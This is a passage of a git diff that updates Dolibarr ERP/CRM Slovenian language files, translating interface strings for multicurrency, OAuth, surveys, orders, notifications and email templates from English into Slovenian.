Starš +MOChild=MO Otrok +BomCantAddChildBom=Nomenklatura %s je že prisotna v drevesu, ki vodi do nomenklature %s +BOMNetNeeds = BOM neto potrebe +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/sl_SI/multicurrency.lang b/htdocs/langs/sl_SI/multicurrency.lang index bfcbd11fb7c..daa7f842290 100644 --- a/htdocs/langs/sl_SI/multicurrency.lang +++ b/htdocs/langs/sl_SI/multicurrency.lang @@ -1,22 +1,38 @@ # Dolibarr language file - Source file is en_US - multicurrency -MultiCurrency=Multi currency -ErrorAddRateFail=Error in added rate -ErrorAddCurrencyFail=Error in added currency -ErrorDeleteCurrencyFail=Error delete fail -multicurrency_syncronize_error=Synchronization error: %s -MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=Use the date of the document to find the currency rate, instead of using the latest known rate -multicurrency_useOriginTx=When an object is created from another, keep the original rate from the source object (otherwise use the latest known rate) -CurrencyLayerAccount=CurrencyLayer API -CurrencyLayerAccount_help_to_synchronize=You must create an account on website %s to use this functionality.
      Get your API key.
      If you use a free account, you can't change the source currency (USD by default).
      If your main currency is not USD, the application will automatically recalculate it.

      You are limited to 1000 synchronizations per month. -multicurrency_appId=API key -multicurrency_appCurrencySource=Source currency -multicurrency_alternateCurrencySource=Alternate source currency -CurrenciesUsed=Currencies used -CurrenciesUsed_help_to_add=Add the different currencies and rates you need to use on your proposals, orders etc. -rate=rate -MulticurrencyReceived=Received, original currency -MulticurrencyRemainderToTake=Remaining amount, original currency -MulticurrencyPaymentAmount=Payment amount, original currency -AmountToOthercurrency=Amount To (in currency of receiving account) -CurrencyRateSyncSucceed=Currency rate synchronization done successfuly -MULTICURRENCY_USE_CURRENCY_ON_DOCUMENT=Use the currency of the document for online payments +MultiCurrency=Več valute +ErrorAddRateFail=Napaka v dodani stopnji +ErrorAddCurrencyFail=Napaka v dodani valuti +ErrorDeleteCurrencyFail=Napaka, brisanje ni uspelo +multicurrency_syncronize_error=Napaka pri sinhronizaciji: %s +MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=Za iskanje tečaja valute uporabite datum dokumenta, namesto da uporabite zadnji znani tečaj +multicurrency_useOriginTx=Ko je objekt ustvarjen iz drugega, obdrži prvotno stopnjo iz izvornega predmeta (sicer uporabi zadnjo znano stopnjo) +CurrencyLayerAccount=API CurrencyLayer +CurrencyLayerAccount_help_to_synchronize=Za uporabo te funkcije morate ustvariti račun na spletnem mestu %s.
      Pridobite svoj API ključ .
      Če uporabljate brezplačen račun, ne morete spremeniti izvorne valute (privzeto USD).
      Če vaša glavna valuta ni USD, jo bo aplikacija samodejno preračunala.

      Omejeni ste na 1000 sinhronizacij na mesec. +multicurrency_appId=API ključ +multicurrency_appCurrencySource=Izvorna valuta +multicurrency_alternateCurrencySource=Nadomestna izvorna valuta +CurrenciesUsed=Uporabljene valute +CurrenciesUsed_help_to_add=Dodajte različne valute in tečaje, ki jih morate uporabiti pri svojih predlogih , naročilih itd. +rate=oceniti +MulticurrencyReceived=Prejeto, originalna valuta +MulticurrencyRemainderToTake=Preostali znesek, izvirna valuta +MulticurrencyPaymentAmount=Znesek plačila, originalna valuta +AmountToOthercurrency=Znesek do (v valuti računa prejemnika) +CurrencyRateSyncSucceed=Sinhronizacija valutnega tečaja je bila uspešna +MULTICURRENCY_USE_CURRENCY_ON_DOCUMENT=Za spletna plačila uporabite valuto dokumenta +TabTitleMulticurrencyRate=Cenik +ListCurrencyRate=Seznam menjalnih tečajev za valuto +CreateRate=Ustvarite stopnjo +FormCreateRate=Ocenite ustvarjanje +FormUpdateRate=Sprememba stopnje +successRateCreate=Tečaj za valuto %s je dodan v bazo podatkov +ConfirmDeleteLineRate=Ali ste prepričani, da želite odstraniti tečaj %s za valuto %s na datum %s? +DeleteLineRate=Jasna stopnja +successRateDelete=Ocena izbrisana +errorRateDelete=Napaka pri brisanju stopnje +successUpdateRate=Izvedena sprememba +ErrorUpdateRate=Napaka pri spreminjanju stopnje +Codemulticurrency=šifra valute +UpdateRate=spremenite stopnjo +CancelUpdate=preklicati +NoEmptyRate=Polje za tečaj ne sme biti prazno diff --git a/htdocs/langs/sl_SI/oauth.lang b/htdocs/langs/sl_SI/oauth.lang index 075ff49a895..0f6a4aeec0d 100644 --- a/htdocs/langs/sl_SI/oauth.lang +++ b/htdocs/langs/sl_SI/oauth.lang @@ -1,32 +1,41 @@ # Dolibarr language file - Source file is en_US - oauth -ConfigOAuth=OAuth Configuration -OAuthServices=OAuth Services -ManualTokenGeneration=Manual token generation -TokenManager=Token Manager -IsTokenGenerated=Is token generated ? -NoAccessToken=No access token saved into local database -HasAccessToken=A token was generated and saved into local database -NewTokenStored=Token received and saved -ToCheckDeleteTokenOnProvider=Click here to check/delete authorization saved by %s OAuth provider -TokenDeleted=Token deleted -RequestAccess=Click here to request/renew access and receive a new token to save -DeleteAccess=Click here to delete token -UseTheFollowingUrlAsRedirectURI=Use the following URL as the Redirect URI when creating your credentials with your OAuth provider: -ListOfSupportedOauthProviders=Enter the credentials provided by your OAuth2 provider. Only supported OAuth2 providers are listedd here. These services may be used by other modules that need OAuth2 authentication. -OAuthSetupForLogin=Page to generate an OAuth token -SeePreviousTab=See previous tab -OAuthIDSecret=OAuth ID and Secret -TOKEN_REFRESH=Token Refresh Present -TOKEN_EXPIRED=Token expired -TOKEN_EXPIRE_AT=Token expire at -TOKEN_DELETE=Delete saved token -OAUTH_GOOGLE_NAME=OAuth Google service -OAUTH_GOOGLE_ID=OAuth Google Id +ConfigOAuth=Konfiguracija OAuth +OAuthServices=Storitve OAuth +ManualTokenGeneration=Ročno ustvarjanje žetonov +TokenManager=Upravitelj žetonov +IsTokenGenerated=Je žeton ustvarjen? +NoAccessToken=V lokalni zbirki podatkov ni shranjen noben žeton za dostop +HasAccessToken=Žeton je bil ustvarjen in shranjen v lokalno bazo podatkov +NewTokenStored=Žeton prejet in shranjen +ToCheckDeleteTokenOnProvider=Kliknite tukaj, če želite preveriti/izbrisati avtorizacijo, ki jo je shranil ponudnik OAuth %s +TokenDeleted=Žeton izbrisan +GetAccess=Kliknite tukaj za pridobitev žetona +RequestAccess=Kliknite tukaj, če želite zahtevati/obnoviti dostop in prejeti nov žeton +DeleteAccess=Kliknite tukaj, če želite izbrisati žeton +UseTheFollowingUrlAsRedirectURI=Pri ustvarjanju poverilnic pri ponudniku OAuth kot URI preusmeritve uporabite naslednji URL: +ListOfSupportedOauthProviders=Dodajte svoje ponudnike žetonov OAuth2. Nato pojdite na skrbniško stran ponudnika OAuth, da ustvarite/pridobite ID OAuth in Secret ter ju shranite tukaj. Ko končate, preklopite na drugi zavihek, da ustvarite svoj žeton. +OAuthSetupForLogin=Stran za upravljanje (generiranje/brisanje) žetonov OAuth +SeePreviousTab=Glej prejšnji zavihek +OAuthProvider=Ponudnik OAuth +OAuthIDSecret=OAuth ID in Secret +TOKEN_REFRESH=Token Osveži prisoten +TOKEN_EXPIRED=Žeton je potekel +TOKEN_EXPIRE_AT=Žeton poteče ob +TOKEN_DELETE=Izbriši shranjeni žeton +OAUTH_GOOGLE_NAME=Googlova storitev OAuth +OAUTH_GOOGLE_ID=OAuth Google ID OAUTH_GOOGLE_SECRET=OAuth Google Secret -OAUTH_GOOGLE_DESC=Go to this page then "Credentials" to create OAuth credentials -OAUTH_GITHUB_NAME=OAuth GitHub service -OAUTH_GITHUB_ID=OAuth GitHub Id +OAUTH_GITHUB_NAME=Storitev OAuth GitHub +OAUTH_GITHUB_ID=OAuth GitHub ID OAUTH_GITHUB_SECRET=OAuth GitHub Secret -OAUTH_GITHUB_DESC=Go to this page then "Register a new application" to create OAuth credentials +OAUTH_URL_FOR_CREDENTIAL=Pojdite na to stran , da ustvarite ali pridobite svoj ID in skrivnost OAuth OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live +OAUTH_ID=OAuth Client ID +OAUTH_SECRET=Skrivnost OAuth +OAUTH_TENANT=OAuth tenant +OAuthProviderAdded=Dodan ponudnik OAuth +AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Vnos OAuth za tega ponudnika in oznako že obstaja +URLOfServiceForAuthorization=URL, ki ga zagotavlja storitev OAuth za preverjanje pristnosti +Scopes=Dovoljenja (obseg) +ScopeUndefined=Dovoljenja (obseg) nedefinirana (glejte prejšnji zavihek) diff --git a/htdocs/langs/sl_SI/opensurvey.lang b/htdocs/langs/sl_SI/opensurvey.lang index d5162ad1512..284a3337aff 100644 --- a/htdocs/langs/sl_SI/opensurvey.lang +++ b/htdocs/langs/sl_SI/opensurvey.lang @@ -1,7 +1,7 @@ # Dolibarr language file - Source file is en_US - opensurvey Survey=Anketa Surveys=Ankete -OrganizeYourMeetingEasily=Organize your meetings and polls easily. First select the type of poll... +OrganizeYourMeetingEasily=Enostavno organizirajte svoja srečanja in ankete. Najprej izberite vrsto ankete ... NewSurvey=Nova anketa OpenSurveyArea=Področje anket AddACommentForPoll=V anketo lahko dodate komentar... @@ -11,7 +11,7 @@ PollTitle=Naziv ankete ToReceiveEMailForEachVote=Prejmi email za vsak glas TypeDate=Tip po datumih TypeClassic=Standardni tip -OpenSurveyStep2=Select your dates among the free days (grey). The selected days are green. You can unselect a day previously selected by clicking again on it +OpenSurveyStep2=Izberite svoje datume med prostimi dnevi (sivo). Izbrani dnevi so zeleni. Preklic izbranega dne lahko prekličete s ponovnim klikom nanj RemoveAllDays=Odstranite vse dni CopyHoursOfFirstDay=Kopirajte ure prvega dne RemoveAllHours=Odstranite vse ure @@ -35,7 +35,7 @@ TitleChoice=Naziv izbora ExportSpreadsheet=Izvozi preglednico rezultatov ExpireDate=Omejitveni datum NbOfSurveys=Število anket -NbOfVoters=No. of voters +NbOfVoters=Št. volivcev SurveyResults=Rezultati PollAdminDesc=Z gumbom "Uredi" lahko spremenite vse vrstice glasovanja v tej anketi. Lahko tudi odstranite stolpec ali vrstico %s. Z %s lahko tudi dodate nov stolpec. 5MoreChoices=Še 5 možnosti @@ -48,16 +48,16 @@ AddEndHour=Dodaj uro zaključka votes=glas(ovi) NoCommentYet=Za to anketo še ni bilo nobenih komentarjev CanComment=Glasovalci lahko komentirajo v anketi -YourVoteIsPrivate=This poll is private, nobody can see your vote. -YourVoteIsPublic=This poll is public, anybody with the link can see your vote. +YourVoteIsPrivate=Ta anketa je zasebna, nihče ne more videti vašega glasovanja. +YourVoteIsPublic=Ta anketa je javna, vsakdo s povezavo lahko vidi vaš glas. CanSeeOthersVote=Glasovalci lahko vidojo glasove ostalih -SelectDayDesc=For each selected day, you can choose, or not, meeting hours in the following format:
      - empty,
      - "8h", "8H" or "8:00" to give a meeting's start hour,
      - "8-11", "8h-11h", "8H-11H" or "8:00-11:00" to give a meeting's start and end hour,
      - "8h15-11h15", "8H15-11H15" or "8:15-11:15" for the same thing but with minutes. +SelectDayDesc=Za vsak izbrani dan lahko izberete ali ne ure sestanka v naslednji obliki:
      - prazno,
      - "8h", "8H" ali "8:00", da navedete uro začetka sestanka,
      - "8- 11", "8h-11h", "8H-11H" ali "8:00-11:00" za podajanje začetne in končne ure sestanka,
      - "8h15-11h15", "8H15-11H15" ali "8: 15-11:15" za isto stvar, vendar z minutami. BackToCurrentMonth=Nazaj na trenutni mesec ErrorOpenSurveyFillFirstSection=Niste izpolnili prvega dela ustvarjanja ankete ErrorOpenSurveyOneChoice=Vnesite vsaj eno izbiro ErrorInsertingComment=Prišlo je do napake pri vnosu vašega komentarja MoreChoices=Vnesite več možnih izbir za glasovalce -SurveyExpiredInfo=The poll has been closed or voting delay has expired. +SurveyExpiredInfo=Glasovanje je bilo zaprto ali pa je potekel zamik glasovanja. EmailSomeoneVoted=%s je izpolnil vrstico.\nVašo anketo lahko najdete na povezavi: \n%s -ShowSurvey=Show survey -UserMustBeSameThanUserUsedToVote=You must have voted and use the same user name that the one used to vote, to post a comment +ShowSurvey=Pokaži anketo +UserMustBeSameThanUserUsedToVote=Za objavo komentarja morate glasovati in uporabiti isto uporabniško ime kot tisti, ki je glasoval diff --git a/htdocs/langs/sl_SI/orders.lang b/htdocs/langs/sl_SI/orders.lang index 7ec6cba929b..ba30655ec67 100644 --- a/htdocs/langs/sl_SI/orders.lang +++ b/htdocs/langs/sl_SI/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=Naročilo je bilo že odprto, povezano s tem predlogom, zato ni bilo samodejno ustvarjeno nobeno drugo naročilo OrdersArea=Področje naročil kupcev SuppliersOrdersArea=Področje naročil dobaviteljem OrderCard=Kartica naročila @@ -17,8 +18,8 @@ ToOrder=Potrebno naročiti MakeOrder=Izdelaj naročilo SupplierOrder=Nabavni nalog SuppliersOrders=Nabavni nalogi -SaleOrderLines=Sales order lines -PurchaseOrderLines=Puchase order lines +SaleOrderLines=Vrstice prodajnih naročil +PurchaseOrderLines=Vrstice nakupnih naročil SuppliersOrdersRunning=Trenutni nabavni nalogi CustomerOrder=Naročilo CustomersOrders=Naročila @@ -68,6 +69,8 @@ CreateOrder=Kreiraj naročilo RefuseOrder=Zavrni naročilo ApproveOrder=Odobri naročilo Approve2Order=Odobri naročilo (drugi nivo) +UserApproval=Uporabnik za odobritev +UserApproval2=Uporabnik za odobritev (druga raven) ValidateOrder=Potrdi naročilo UnvalidateOrder=Razveljavi potrditev naročila DeleteOrder=Briši naročilo @@ -102,6 +105,8 @@ ConfirmCancelOrder=Ali želite preklicati naročilo? ConfirmMakeOrder=Potrdite, da ste ustvarili naročilo dne %s. GenerateBill=Kreiraj račun ClassifyShipped=Označi kot dobavljeno +PassedInShippedStatus=tajno dostavljeno +YouCantShipThis=Tega ne morem klasificirati. Preverite uporabniška dovoljenja DraftOrders=Osnutki naročil DraftSuppliersOrders=Nabavni nalogi v osnutku OnProcessOrders=Naročila v obdelavi @@ -124,8 +129,8 @@ SupplierOrderReceivedInDolibarr=Nabavni nalog %s prejet %s SupplierOrderSubmitedInDolibarr=Nabavni nalog oddan %s SupplierOrderClassifiedBilled=Nabavni nalog %s zaračunan OtherOrders=Ostala naročila -SupplierOrderValidatedAndApproved=Supplier order is validated and approved : %s -SupplierOrderValidated=Supplier order is validated : %s +SupplierOrderValidatedAndApproved=Naročilo dobavitelja je potrjeno in odobreno: %s +SupplierOrderValidated=Naročilo dobavitelja je potrjeno: %s ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Predstavnik, ki sledi naročilu TypeContact_commande_internal_SHIPPING=Referent za sledenje odpreme @@ -134,9 +139,9 @@ TypeContact_commande_external_SHIPPING=Kontakt za dobave pri kupcu TypeContact_commande_external_CUSTOMER=Kontakt za sledenje naročila pri kupcu TypeContact_order_supplier_internal_SALESREPFOLL=Predstavnik, ki sledi nabavnemu nalogu TypeContact_order_supplier_internal_SHIPPING=Referent za sledenje odpreme od dobavitelja -TypeContact_order_supplier_external_BILLING=Dobaviteljeva kontaktna oseba za fakture -TypeContact_order_supplier_external_SHIPPING=Dobaviteljeva kontaktna oseba za dobave -TypeContact_order_supplier_external_CUSTOMER=Dobaviteljeva kontaktna oseba za sledenje naročila +TypeContact_order_supplier_external_BILLING=Dobaviteljev stik za račune +TypeContact_order_supplier_external_SHIPPING=Dobaviteljev stik za pošiljanje +TypeContact_order_supplier_external_CUSTOMER=Dobaviteljev stik za sledenje naročilu Error_COMMANDE_SUPPLIER_ADDON_NotDefined=Konstanta COMMANDE_SUPPLIER_ADDON ni definirana Error_COMMANDE_ADDON_NotDefined=Konstanta COMMANDE_ADDON ni definirana Error_OrderNotChecked=Ni izbranih naročil za račun @@ -153,7 +158,7 @@ PDFEdisonDescription=Vzorec enostavnega naročila PDFProformaDescription=Popoln vzorec predloge predračuna CreateInvoiceForThisCustomer=Zaračunaj naročila CreateInvoiceForThisSupplier=Zaračunaj naročila -CreateInvoiceForThisReceptions=Bill receptions +CreateInvoiceForThisReceptions=Sprejem računov NoOrdersToInvoice=Ni naročil, ki bi jih lahko zaračunali CloseProcessedOrdersAutomatically=Označi vsa izbrana naročila kot "Procesirano" OrderCreation=Ustvarjanje naročila @@ -166,7 +171,7 @@ OptionToSetOrderBilledNotEnabled=V modulu Delovni tokovi (Workflow) ni označeno IfValidateInvoiceIsNoOrderStayUnbilled=Dokler račun ni potrjen, naročilo ostane v stanju 'Nezaračunano'. CloseReceivedSupplierOrdersAutomatically=Avtomatsko zapri naročilo v status "%s", če so vsi artikli prevzeti. SetShippingMode=Izberi način pošiljanja -WithReceptionFinished=With reception finished +WithReceptionFinished=S sprejemom končanim #### supplier orders status StatusSupplierOrderCanceledShort=Preklicano StatusSupplierOrderDraftShort=Osnutek diff --git a/htdocs/langs/sl_SI/other.lang b/htdocs/langs/sl_SI/other.lang index a6f0c13b085..1bed7277c30 100644 --- a/htdocs/langs/sl_SI/other.lang +++ b/htdocs/langs/sl_SI/other.lang @@ -1,52 +1,54 @@ # Dolibarr language file - Source file is en_US - other SecurityCode=Varnostna koda -NumberingShort=N° +NumberingShort=št Tools=Orodja TMenuTools=Orodja -ToolsDesc=All tools not included in other menu entries are grouped here.
      All the tools can be accessed via the left menu. +ToolsDesc=Tukaj so združena vsa orodja, ki niso vključena v druge vnose v meniju.
      Do vseh orodij lahko dostopate prek levega menija. Birthday=Rojstni dan BirthdayAlertOn=Vklopljeno opozorilo na rojstni dan BirthdayAlertOff=Izklopljeno opozorilo na rojstni dan -TransKey=Translation of the key TransKey -MonthOfInvoice=Month (number 1-12) of invoice date -TextMonthOfInvoice=Month (text) of invoice date -PreviousMonthOfInvoice=Previous month (number 1-12) of invoice date -TextPreviousMonthOfInvoice=Previous month (text) of invoice date -NextMonthOfInvoice=Following month (number 1-12) of invoice date -TextNextMonthOfInvoice=Following month (text) of invoice date -PreviousMonth=Previous month -CurrentMonth=Current month -ZipFileGeneratedInto=Zip file generated into %s. -DocFileGeneratedInto=Doc file generated into %s. -JumpToLogin=Disconnected. Go to login page... -MessageForm=Message on online payment form -MessageOK=Message on the return page for a validated payment -MessageKO=Message on the return page for a canceled payment -ContentOfDirectoryIsNotEmpty=Content of this directory is not empty. -DeleteAlsoContentRecursively=Check to delete all content recursively -PoweredBy=Powered by -YearOfInvoice=Year of invoice date -PreviousYearOfInvoice=Previous year of invoice date -NextYearOfInvoice=Following year of invoice date -DateNextInvoiceBeforeGen=Date of next invoice (before generation) -DateNextInvoiceAfterGen=Date of next invoice (after generation) -GraphInBarsAreLimitedToNMeasures=Grapics are limited to %s measures in 'Bars' mode. The mode 'Lines' was automatically selected instead. -OnlyOneFieldForXAxisIsPossible=Only 1 field is currently possible as X-Axis. Only the first selected field has been selected. -AtLeastOneMeasureIsRequired=At least 1 field for measure is required -AtLeastOneXAxisIsRequired=At least 1 field for X-Axis is required -LatestBlogPosts=Latest Blog Posts -notiftouser=To users -notiftofixedemail=To fixed mail -notiftouserandtofixedemail=To user and fixed mail -Notify_ORDER_VALIDATE=Sales order validated -Notify_ORDER_SENTBYMAIL=Sales order sent by mail -Notify_ORDER_SUPPLIER_SENTBYMAIL=Purchase order sent by email -Notify_ORDER_SUPPLIER_VALIDATE=Purchase order recorded -Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved -Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused +TransKey=Prevod ključa TransKey +MonthOfInvoice=Mesec (številka 1–12) datuma računa +TextMonthOfInvoice=Mesec (besedilo) datuma računa +PreviousMonthOfInvoice=Prejšnji mesec (številka 1–12) datuma računa +TextPreviousMonthOfInvoice=Prejšnji mesec (besedilo) datuma računa +NextMonthOfInvoice=Naslednji mesec (številka 1–12) datuma računa +TextNextMonthOfInvoice=Naslednji mesec (besedilo) datuma računa +PreviousMonth=Prejšnji mesec +CurrentMonth=Trenutni mesec +ZipFileGeneratedInto=Datoteka zip, ustvarjena v %s . +DocFileGeneratedInto=Datoteka dokumenta, ustvarjena v %s . +JumpToLogin=Prekinjena povezava. Pojdi na stran za prijavo ... +MessageForm=Sporočilo na spletnem plačilnem obrazcu +MessageOK=Sporočilo na povratni strani za potrjeno plačilo +MessageKO=Sporočilo na povratni strani za preklicano plačilo +ContentOfDirectoryIsNotEmpty=Vsebina tega imenika ni prazna. +DeleteAlsoContentRecursively=Označite, če želite rekurzivno izbrisati vso vsebino +PoweredBy=Poganja ga +YearOfInvoice=Leto datuma računa +PreviousYearOfInvoice=Prejšnje leto datuma računa +NextYearOfInvoice=Naslednje leto datuma računa +DateNextInvoiceBeforeGen=Datum naslednjega računa (pred generiranjem) +DateNextInvoiceAfterGen=Datum naslednjega računa (po izdelavi) +GraphInBarsAreLimitedToNMeasures=Grafike so omejene na %s mere v načinu 'Bars'. Namesto tega je bil samodejno izbran način 'Črte'. +OnlyOneFieldForXAxisIsPossible=Samo 1 polje je trenutno možno kot os X. Izbrano je samo prvo izbrano polje. +AtLeastOneMeasureIsRequired=Zahtevano je vsaj 1 polje za meritev +AtLeastOneXAxisIsRequired=Zahtevano je vsaj 1 polje za os X +LatestBlogPosts=Najnovejše objave v spletnem dnevniku +notiftouser=Uporabnikom +notiftofixedemail=Na fiksno pošto +notiftouserandtofixedemail=Na uporabniško in fiksno pošto +Notify_ORDER_VALIDATE=Prodajno naročilo potrjeno +Notify_ORDER_SENTBYMAIL=Prodajno naročilo poslano po pošti +Notify_ORDER_SUPPLIER_SENTBYMAIL=Naročilo poslano po elektronski pošti +Notify_ORDER_SUPPLIER_VALIDATE=Naročilo zabeleženo +Notify_ORDER_SUPPLIER_APPROVE=Naročilo odobreno +Notify_ORDER_SUPPLIER_REFUSE=Naročilo zavrnjeno Notify_PROPAL_VALIDATE=Potrjena ponudba kupcu -Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed -Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_SIGNED=Ponudba stranke zaprta podpisana +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page +Notify_PROPAL_CLOSE_REFUSED=Predlog stranke zaprt zavrnjen +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Komercialna ponudba poslana po e-pošti Notify_WITHDRAW_TRANSMIT=Nakazilo prenosa Notify_WITHDRAW_CREDIT=Nakazilo kredita @@ -55,85 +57,85 @@ Notify_COMPANY_CREATE=Ustvarjen partner Notify_COMPANY_SENTBYMAIL=Pošta poslana s kartice partnerja Notify_BILL_VALIDATE=Potrjen račun Notify_BILL_UNVALIDATE=Račun za kupca ni potrjen -Notify_BILL_PAYED=Customer invoice paid +Notify_BILL_PAYED=Plačan račun stranke Notify_BILL_CANCEL=Preklican račun kupca Notify_BILL_SENTBYMAIL=Račun poslan po e-pošti -Notify_BILL_SUPPLIER_VALIDATE=Vendor invoice validated -Notify_BILL_SUPPLIER_PAYED=Vendor invoice paid -Notify_BILL_SUPPLIER_SENTBYMAIL=Vendor invoice sent by mail -Notify_BILL_SUPPLIER_CANCELED=Vendor invoice cancelled +Notify_BILL_SUPPLIER_VALIDATE=Prejeti račun je potrjen +Notify_BILL_SUPPLIER_PAYED=Prejeti račun je plačan +Notify_BILL_SUPPLIER_SENTBYMAIL=Prejeti račun je poslan po pošti +Notify_BILL_SUPPLIER_CANCELED=Prejeti račun preklican Notify_CONTRACT_VALIDATE=Potrjena pogodba Notify_FICHINTER_VALIDATE=Potrjena intervencija -Notify_FICHINTER_ADD_CONTACT=Added contact to Intervention +Notify_FICHINTER_ADD_CONTACT=Intervenciji dodan kontakt Notify_FICHINTER_SENTBYMAIL=Intervencija poslana po EMailu Notify_SHIPPING_VALIDATE=Potrjena odprema Notify_SHIPPING_SENTBYMAIL=Pošiljka poslana po pošti Notify_MEMBER_VALIDATE=Potrjeno članstvo Notify_MEMBER_MODIFY=Spremenjen član Notify_MEMBER_SUBSCRIPTION=Vpisano članstvo -Notify_MEMBER_RESILIATE=Member terminated +Notify_MEMBER_RESILIATE=Član prekinjen Notify_MEMBER_DELETE=Izbris iz članstva Notify_PROJECT_CREATE=Ustvarjanje projekta Notify_TASK_CREATE=Ustvarjena naloga Notify_TASK_MODIFY=Spremenjena naloga Notify_TASK_DELETE=Izbrisana naloga -Notify_EXPENSE_REPORT_VALIDATE=Expense report validated (approval required) -Notify_EXPENSE_REPORT_APPROVE=Expense report approved -Notify_HOLIDAY_VALIDATE=Leave request validated (approval required) -Notify_HOLIDAY_APPROVE=Leave request approved -Notify_ACTION_CREATE=Added action to Agenda +Notify_EXPENSE_REPORT_VALIDATE=Potrjeno poročilo o stroških (potrebna je odobritev) +Notify_EXPENSE_REPORT_APPROVE=Potrjeno poročilo o stroških +Notify_HOLIDAY_VALIDATE=Pusti zahtevo potrjeno (potrebna je odobritev) +Notify_HOLIDAY_APPROVE=Zahteva za dopust odobrena +Notify_ACTION_CREATE=Agendi dodano dejanje SeeModuleSetup=Glejte nastavitev modula %s NbOfAttachedFiles=Število pripetih datotek/dokumentov TotalSizeOfAttachedFiles=Skupna velikost pripetih datotek/dokumentov MaxSize=Največja velikost AttachANewFile=Pripni novo datoteko/dokument LinkedObject=Povezani objekti -NbOfActiveNotifications=Number of notifications (no. of recipient emails) -PredefinedMailTest=__(Hello)__\nThis is a test mail sent to __EMAIL__.\nThe lines are separated by a carriage return.\n\n__USER_SIGNATURE__ -PredefinedMailTestHtml=__(Hello)__
      This is a test mail sent to __EMAIL__ (the word test must be in bold).
      The lines are separated by a carriage return.

      __USER_SIGNATURE__ -PredefinedMailContentContract=__(Hello)__\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendInvoice=__(Hello)__\n\nPlease find invoice __REF__ attached \n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendInvoiceReminder=__(Hello)__\n\nWe would like to remind you that the invoice __REF__ seems to have not been paid. A copy of the invoice is attached as a reminder.\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendProposal=__(Hello)__\n\nPlease find commercial proposal __REF__ attached \n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendSupplierProposal=__(Hello)__\n\nPlease find price request __REF__ attached\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendOrder=__(Hello)__\n\nPlease find order __REF__ attached\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendSupplierOrder=__(Hello)__\n\nPlease find our order __REF__ attached\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendSupplierInvoice=__(Hello)__\n\nPlease find invoice __REF__ attached\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendShipping=__(Hello)__\n\nPlease find shipping __REF__ attached\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendFichInter=__(Hello)__\n\nPlease find intervention __REF__ attached\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentLink=You can click on the link below to make your payment if it is not already done.\n\n%s\n\n -PredefinedMailContentGeneric=__(Hello)__\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendActionComm=Event reminder "__EVENT_LABEL__" on __EVENT_DATE__ at __EVENT_TIME__

      This is an automatic message, please do not reply. -DemoDesc=Dolibarr is a compact ERP/CRM supporting several business modules. A demo showcasing all modules makes no sense as this scenario never occurs (several hundred available). So, several demo profiles are available. -ChooseYourDemoProfil=Choose the demo profile that best suits your needs... -ChooseYourDemoProfilMore=...or build your own profile
      (manual module selection) +NbOfActiveNotifications=Število obvestil (št. e-poštnih sporočil prejemnikov) +PredefinedMailTest=__(Zdravo)__\nTo je testno sporočilo, poslano na __EMAIL__.\nVrstici sta ločeni s povratnim znakom.\n\n__USER_SIGNATURE__ +PredefinedMailTestHtml=__(Pozdravljeni)__
      To je testna pošta, poslana na __EMAIL__ (beseda test mora biti v krepkem tisku).
      Vrstici sta ločeni s povratnim znakom.

      __USER_SIGNATURE__ +PredefinedMailContentContract=__(Zdravo)__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendInvoice=__(Zdravo)__\n\nPriložen je račun __REF__\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendInvoiceReminder=__(Zdravo)__\n\nOpozarjamo vas, da račun __REF__ očitno ni bil plačan. V opomin je priložena kopija računa.\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendProposal=__(Zdravo)__\n\nV priponki najdete komercialni predlog __REF__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierProposal=__(Zdravo)__\n\nPriloženo je povpraševanje po ceni __REF__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendOrder=__(Zdravo)__\n\nNaročilo __REF__ je priloženo\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierOrder=__(Zdravo)__\n\nPriloženo je naše naročilo __REF__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierInvoice=__(Zdravo)__\n\nPriložen je račun __REF__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendShipping=__(Zdravo)__\n\nPriložena je pošiljka __REF__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ 